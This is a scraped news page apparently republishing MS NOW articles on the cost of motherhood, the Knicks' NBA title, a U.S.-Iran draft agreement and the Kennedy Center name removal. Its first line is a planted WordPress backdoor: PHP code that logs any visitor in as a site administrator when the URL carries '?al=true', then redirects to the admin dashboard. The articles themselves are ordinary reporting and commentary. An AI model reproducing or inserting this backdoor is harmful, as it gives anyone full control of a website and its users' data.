// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The high cost of motherhood leaves many women deciding against it – Blue Light News
Connect with us

The Dictatorship

The high cost of motherhood leaves many women deciding against it

Published

on

As Americans around the country celebrate Mother’s Day on Sunday, parents in the United States, particularly mothers, are facing an unprecedented affordability crisis. A glaring sign of that crisis is revealed in statistics showing that Generation Z and millennial womenare regularly delaying parenthood, having fewer children or not becoming parents at all. The data shows that many of these women want families but find the costs of housingchildcaregroceries, healthcareutilitiesand more make parenting unaffordable.

People feel worse off financially now than they have at any point in the past 25 years. Those feelings are rooted in fact. The same basic pillars of living — housing, healthcare, food, transportation, childcare, utilities — now consume so much of a household budget that a typical family needs to earn $145,000 a year to make ends meet.

A pound of hamburger now costs more than people earn for an hour of work at the federal minimum wage.

A pound of hamburger now costs morethan people earn in an hour at the federal minimum wage of $7.25 an hour. Gas prices (and car prices) are going up steeply. Groceries are up. Healthcare costs are rising steeply, and millions are being pushed off healthcare altogether as premiums rise. And for those who are taking care of older parents or family, paying for dignified aging and disability care is also mind-bogglingly expensive.

And that’s before we even really start talking about the costs in money and time that come with raising kids.

No amount of juggling, balancing, flowers, calendar maintenance, self-care moments, wine, chocolate or walks can fix the chain of dominoes that currently start disastrously falling the moment a person becomes a mom.

For the households that need the wages of moms to survive, and that’s most of them, paid childcare is essential. But the cost of childcarenow exceeds the price of public college in most states, and childcare is more than rent in 17 states. Affordability isn’t the only crisis in childcare: 51% of people live in a childcare desertmeaning there aren’t enough facilities that people can afford. Plus, childcare workers are some of the lowest-paid workers in the country and often are pushed out of their profession due to low pay. Even so, President Donald Trump has been targeting deep cuts for Head Start and other essential childcare programs that are proven to boost families and the economy overall. These cuts ripple out in the economy in destructive ways. The childcare crisis is estimated to cost our nation $172 billion per year.

Infant childcare is among the most expensive kindother, and that cost is amplified because the U.S. is one of only six nations in the world that doesn’t have some form of national paid family and medical leave. This means that when a new baby arrives, moms often have to go back to work before they are healed or have time to bond with the new baby. A quarter of moms in the U.S. return to work within two weeks of giving birth. In this mix, many moms are pushed out of their jobs entirely. This, too, is costly. Families lose $34 billion per year due to lack of access to paid family and medical leave.

A quarter of moms in the U.S. return to work within two weeks of giving birth.

For those moms who somehow make it work at work, it’s still not fair: Moms overall are paid just 74 cents for every dollar paid to full-time dads, Black moms are paid just 56 centsand Latina moms just 51 cents for every dollar a full-time non-Hispanic white father makes. This is part of deep and enduring wage and hiring discriminationagainst moms. One studyfound that if presented with equivalent resumes, hiring managers hired non-moms 84% of the time, but moms just 47% of the time. Women raising children were also offered significantly lower starting salaries, while dads got a wage increase. This hurts everyone: According to the Institute for Women’s Policy Research, the nation’s gross domestic product would go up almost 3% if there were pay parity.

The human costs are immense, too. Between 2016 and 2023, mothers reported a nearly 65% increase of “fair to poor” mental health.

This crisis has been building for years, driven in part by Republican leaders consistently blocking widely popular legislation like the Child Care for Working Families Act and the Child Care for Every Community Act. GOP leaders have also refused to advance the Family Act (paid family and medical leave) and have repeatedly cut healthcare and food affordability programs, including SNAP and WIC. Since Trump’s second term began, MAGA policies have further dismantled the already fragile systems families rely on to work and raise kids. These leaders have redirected funds from essential services into tax cuts for billionaires, out-of-control immigration enforcement and reckless wars, an effort that again is raising energy costs and driving inflation, which hits families hardest.

Pro-ballroom Republicans have cut $911 billionfrom Medicaid and $200 billion from the Supplemental Nutrition Assistance Program over 10 years. They have also frozen more than $10 billionin childcare funds. On top of that, the president’s budget for fiscal 2027 proposes to cut $4 billion from utilities support and $27 billionfrom housing, among many additional cuts.

That’s at least $1.1 trillion less (with even more cuts lined up) for family economic security. Period.

Trump has said it clearly with his budgets and his words. His priority is reckless wars, not families: “We’re fighting wars, we can’t take care of daycare,” he said recently.

This paints moms and people who want to be parents into a corner, with nowhere to turn.

President Trump has said it clearly with his budgets and his words. His priority is reckless wars, not families.

We know what the problems are, and we have real, tested solutions that work — and strong bipartisan support from voters in poll after poll: childcare and eldercare, paid family and medical leaveand  healthcare. Enacting these care-infrastructure policies doesn’t just open avenues for people to be able to have children and succeed, it also helps narrow the motherhood wage gapsand boost the economy, too.

But unless Republicans finally join Democrats in pushing for real action at the federal level, we will see more moms in crisis, fewer people able to afford to have children and, on Mother’s Day in the future, fewer moms to celebrate.

Kristin Rowe-Finkbeiner is the executive director of MomsRising, an advocacy organization for moms and families with a cumulative membership of 3.7 million that focuses on policies that expand access to child care, health care, paid family/medical leave, maternal health, and economic opportunity.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

The Knicks are NBA champs — and New Yorkers share a moment to last a lifetime

Published

on

When the New York Knicks qualified for the NBA playoffs in 2021, after an eight-year drought, the New York Post reported on that team’s sole postseason victory with the headline“Wild crowd of Knicks fans take over streets after playoff win.”

A friend of mine visiting the city at the time picked up on the palpable Knicks fever, though he was a bit flummoxed at the level of giddiness for a team that won just one game before being bounced from the tournament by the Atlanta Hawks. “This is a basketball town,” I said, “If the Knicks ever actually make a real run at the title, this place will go absolutely insane.”

Now the New York Knickerbockers are NBA champions for the first time since 1973, having defeated the San Antonio Spurs in a five-game series that featured the greatest comeback in NBA finals history. And New York fans are indeed back in the streets, this time in even greater abundance, exploding with joy.

Now the New York Knickerbockers are NBA champions for the first time since 1973, having defeated the San Antonio Spurs in a five-game series that featured the greatest comeback in NBA finals history.

Will Leitch aptly explained why Game 4, when the Knicks rallied from a 29-point deficit at Madison Square Garden, was a microcosm for this squad’s improbable, inspiring, record-breaking playoff run: “For whatever reason, the Knicks spent most of this season toggling themselves on and off, like a circuit breaker. They just toggled themselves off and back on again. But this wasn’t a toggle: This was the smashing of a plunger that blew the roof off an entire building.”

There were doubts that first-year coach Mike Brown would be able to build off the success of his predecessor Tom Thibodeau, whose five-year run ended with the Knicks’ loss in the 2025 Eastern Conference finals, but made the Knicks legitimate title contenders for the first time since Bill Clinton was president. While this team has a lot of talent, it is hardly made of superstars.

Team captain Jalen Brunson made this year’s All-NBA Second Team, but none of the other Knicks made even the third team. Instead, their special sauce is chemistryas Brunson is joined by two of his NCAA Championship-winning Villanova teammates, Josh Hart and Mikal Bridges; New Jersey native Karl-Anthony Towns has won hearts with both his play and candor about personal tragedies he’s endured in recent years; OG Anunoby brings a quiet grittiness and clutch efforts on both sides of the court; and rotation players coming off the bench each knew their role and played with confidence when called on to play.

A Knicks fan went viral this month with the chant, “My mayor’s Muslim / My bagel’s Jewish / My Christian’s Dior / Knicks in four!” The Knicks didn’t win the title in four, but the sentiment captures the atypical warm and fuzzies engendered by the team’s championship run — and the magical, fleeting moments that won’t be forgotten by anyone lucky enough to experience them.

New York, famously not the friendliest of cities, has been tangibly united behind the Knicks. Thousands of people watching the games on a screen outside MSG on Seventh Avenue. Intrepid New Yorkers projecting the ABC broadcasts onto handball walls and the sides of buildings for their neighbors. Staten Island hip-hop legends Wu-Tang Clan rallying the moribund Garden crowd at halftime in Game 4, when the Knicks trailed by 27 points.

Anyone who has been in this city since April, whether they’re a lifelong fan, a late-coming bandwagoneer or a grimacing hater of all things New York sports, has experienced a communal, euphoric, even egalitarian vibe (though it didn’t extend to ticket prices at the Garden). As Alex Kirshner wrote in Slate“What’s happening here is some kind of confluence, one that a lot of people are desperate to bottle up but that might not come around again.”

John Turturro, the veteran actor and native New Yorker, said “one of the joys of being alive” is riding the subway with other fans after a Knicks win. “I’m in this city that no one ever looks at each other and everyone’s talking to each other,” he told CNN.

To be sure, there have been some terrible “fan” moments during the finals — when a creep threw an egg at Spurs star Victor Wembanyama on the sidewalk or when a mob viciously assaulted a Spurs fan outside the Garden after Game 3. And as The Athletic put it with regard to the clout-chasing viral video wannabes doing stupid, dangerous stunts for the clicks, “Attention-seeking knuckleheads are the lone blight on these amazing NBA Finals.” Here’s hoping said knuckleheads don’t spoil the Knicks’ victory parade down the Canyon of Heroes for the rest of us.

Yes, there are longer-suffering fanbases. Yes, New York City’s smug self-regard and disproportionate national media attention will always generate a certain level of resentment. But few fanbases have cared this much, for this long — selling out the Garden nearly every game night, even when the team’s play was abominable and the organization was better known for its toxic environment and comical mismanagement.

New York might be the financial capital of the U.S. and a prime destination for an oligarch’s pied a terre (or two), but most of the 8.5 million of us in this city will never sniff that kind of privilege. This city is prohibitively expensive, it is perpetually dirty and its infrastructure only occasionally functions properly. It is, frankly, often such an exasperating pain that rational adults have been known to regularly question their life choices for still being here.

But the Knicks are champions for the first time in more than a half-century. And these particular Knicks — humble, hard-working, overachievers with personality — reflect a New York we’d all like to believe in. They’ve briefly made us forget our troubles, and allowed us to (mostly) leave politics at the door for a few hours a night.

This victory, by this team of players, has unleashed an unbridled ecstasy from denizens of a place that prides itself on world-weary cynicism — even if that merely conceals a hopeless romanticism just beneath the surface. Go New York, go New York, go!

Anthony L. Fisher is a senior editor and opinion columnist for MS NOW.

Read More

Continue Reading

The Dictatorship

How U.S.-Iran draft agreement fails to meet Trump’s war goals

Published

on

How U.S.-Iran draft agreement fails to meet Trump’s war goals

The emerging agreement with Iran that President Donald Trump is touting does not appear to achieve several of the key goals he stated at the outset of the military conflict over three months ago.

For one, it’s unclear whether the president’s core objective of permanently preventing Iran from obtaining a nuclear bomb will be achieved. Experts say that based on the limited information provided by the administration so far, Iran offered Trump’s envoys a better nuclear deal before the war than the one Tehran is apparently offering now.

The killing of the country’s top leaders by the U.S. and Israel appears to have strengthened and emboldened the powerful Islamic Revolutionary Guards Corps, and Iran’s new supreme leader, Mojtaba Khamenei, is more radical than his late father, Ayatollah Ali Khamenei. Having demonstrated their ability to close the Strait of Hormuz and absorb U.S. and Israeli air attacks, Iran’s new hardline leaders, experts say, are likely determined to maintain its nuclear program in some form and wield greater influence in the Middle East.

“A war meant to prevent Iran from acquiring nuclear weapons will be the war that pushed them over the Rubicon,” Danny Citrinowicz, a retired Israeli military intelligence officer, told The New York Times.

There appear to be several key holes in the draft memorandum of understanding as it was outlined by a senior Trump administration official to reporters on Friday.

It is unclear whether both sides have agreed to the final wording of the memorandum.

Trump said on Saturday that he expected the “deal,” as he called it, to be signed on Sunday. But a spokesman for Iran’s foreign ministry reportedly said any signing of a memorandum of understanding “will not be tomorrow.”

No limits on missiles

The senior administration official  did not describe to reporters that any specific limits on Iran’s missile stockpile had been agreed to as part of the memorandum. When Trump announced the war on Feb. 28, he said one of the administration’s core goals was to “destroy their missiles.” Recent U.S. intelligence assessments found that 70% of Iran’s missile stockpile remains intact.

Future funding of Iran’s proxies

There are also apparently no clear references to another goal Trump described at the outset of the war, to “ensure that the regime’s terrorist proxies can no longer destabilize the region.” The senior administration official only said the agreement would end fighting across the region and, as a result, Iran would apparently no longer fund its proxies.

“We feel confident that the Israelis, that the Gulf Coast partners, that the Americans and the Iranians are all going to get behind this thing,” the official said. “And we can make it enforceable, and we can make it stick.”

Few details about nuclear program

The senior administration official said Iran will be allowed to have a civilian nuclear power program, a key demand from the Iranians that hardliners in the U.S. and Israel have long opposed.

And the most important question about a civilian nuclear program — whether Iranian officials would be allowed to enrich uranium on its own inside Iran — was not clearly answered on the call. For years, Iran has insisted it must be allowed to enrich uranium to a low level inside Iran for civilian energy purposes.

The official said Iran’s enriched uranium will be down-blended, which was also part of the Obama-era agreement, known as the Joint Comprehensive Plan of Action. One element of the draft memorandum  as described that is potentially better than the JCPOA is that all of Iran’s enriched uranium would be removed from the country after it is down-blended, according to the administration official. Under the JCPOA, 300 kilograms of enriched uranium was allowed to remain in Iran.

Palettes of cash

Iran will not receive any funding until it has implemented each element of the deal, the senior administration official said. If it does implement the agreement, the official said Iran will be relieved of “a lot of the economic pressures,” be “reintegrated into the world economy,” and get “rewarded for acting like a normal country.” If the deal is implemented as the senior official described, it appears that Iran will receive vastly more money than it did under Obama’s JCPOA.

Israel and Lebanon

The senior Trump official also said the deal includes an end to fighting  in Lebanon, one of Iran’s goals but a step that Israeli officials may oppose. Israeli officials have said they  reserve the right to attack Hezbollah in Lebanon if it threatens Israel.

The official said the agreement was a “broad regional peace agreement.” He added that “it includes Lebanon, it includes Iran, it includes the Gulf Coast countries, it includes Israel. And we feel quite confident that all of our allies, the Israelis and the Gulf Coast Coalition, will get on board.”

Clarissa-Jan Lim contributed to this reportexcerpts of which appeared in MS NOW’s live Iran war coverage on Friday.

David Rohde is the senior national security reporter for MS NOW and a two-time winner of the Pulitzer Prize for International Reporting. Previously he was the senior executive editor for national security and law for NBC News.

Read More

Continue Reading

The Dictatorship

Trump’s name removed from Kennedy Center after losing court fight

Published

on

Trump’s name removed from Kennedy Center after losing court fight

The John F. Kennedy Center for the Performing Arts has been restored to its original name.

President Donald Trump’s name was officially cleared from the marble facade of the storied cultural institution on Saturday, the Kennedy Center said, after last-minute attempts by the Trump administration to delay a federal judge’s ruling that the name cannot be changed.

The center’s executive director, Chris Matthew Flocka, said in court documents filed Saturday that the organization has “removed all physical signage on the Kennedy Center building and grounds, including the front portico, that purports to rename the Kennedy Center after President Trump or any other individual besides President Kennedy.”

Flocka also said that the center has withdrawn trademark applications officially referring to the organization as the “Trump Kennedy Center,” removed references to Trump from all paperwork.

Workers removed the lettering of Trump’s name after stormy weather in Washington late Friday caused delays. A large tarp was left hanging overnight covering the scaffolding and obscuring the view of which name — or names — remained. The tarp remained up on Saturday afternoon.

No trace of the current president’s name remained, according to court documents, in spite of his fight to the end.

Shortly after midnight, the Kennedy Center asked a judge to extend Friday’s legal deadline to remove Trump’s name until noon on Saturday because of the storms. The deadline extension was granted Saturday morning, buying the organization a few more hours to complete the erasure.

The removal of Trump’s name from the building marked a stinging defeat for the president a day before his 80th birthday. After being sworn in last year, Trump swiftly took over the institution, installing loyalists on the center’s board, upending its programming to align with his political preferences, slapping his name on the building, its website and merchandise. He also pushed for a renovation that would have shut the center down for two years.

The changes drew intense criticismincluding from members of the Kennedy family. A slew of artists canceled their performances at the center and attendance for the National Symphony Orchestra dropped.

Rep. Joyce Beatty, D-Ohio, an ex-officio board member, sued to have Trump’s name removed from the center. On May 29, U.S. District Judge Christopher Cooper ruled that the Kennedy Center board of trustees must change its name back by Friday, June 12.

“Congress gave the Kennedy Center its name, and only Congress can change it,” Cooper wrote in his decision.

Trump fumed about the court ruling in a lengthy post on Truth Social in late May, criticizing Cooper — an Obama appointee — and suggesting that he would no longer be interested in it “unless I am free to do what I do better than anyone else.”

Still, the Kennedy Center began making moves to drop Trump’s name from its website and in marketing material.

On Friday, the administration made several last-ditch efforts to halt Cooper’s ruling before the deadline, to no avail. However, the legal battle is not entirely over. The D.C. Circuit Court of Appeals, which is considering the administration’s appeal of the May 29 ruling, is expected to rule on whether to issue a stay in the next few weeks.

Clarissa-Jan Lim is a breaking news reporter for MS NOW. She was previously a senior reporter and editor at BuzzFeed News.

Fallon Gallagher is a legal affairs reporter for MS NOW.

Read More

Continue Reading

Trending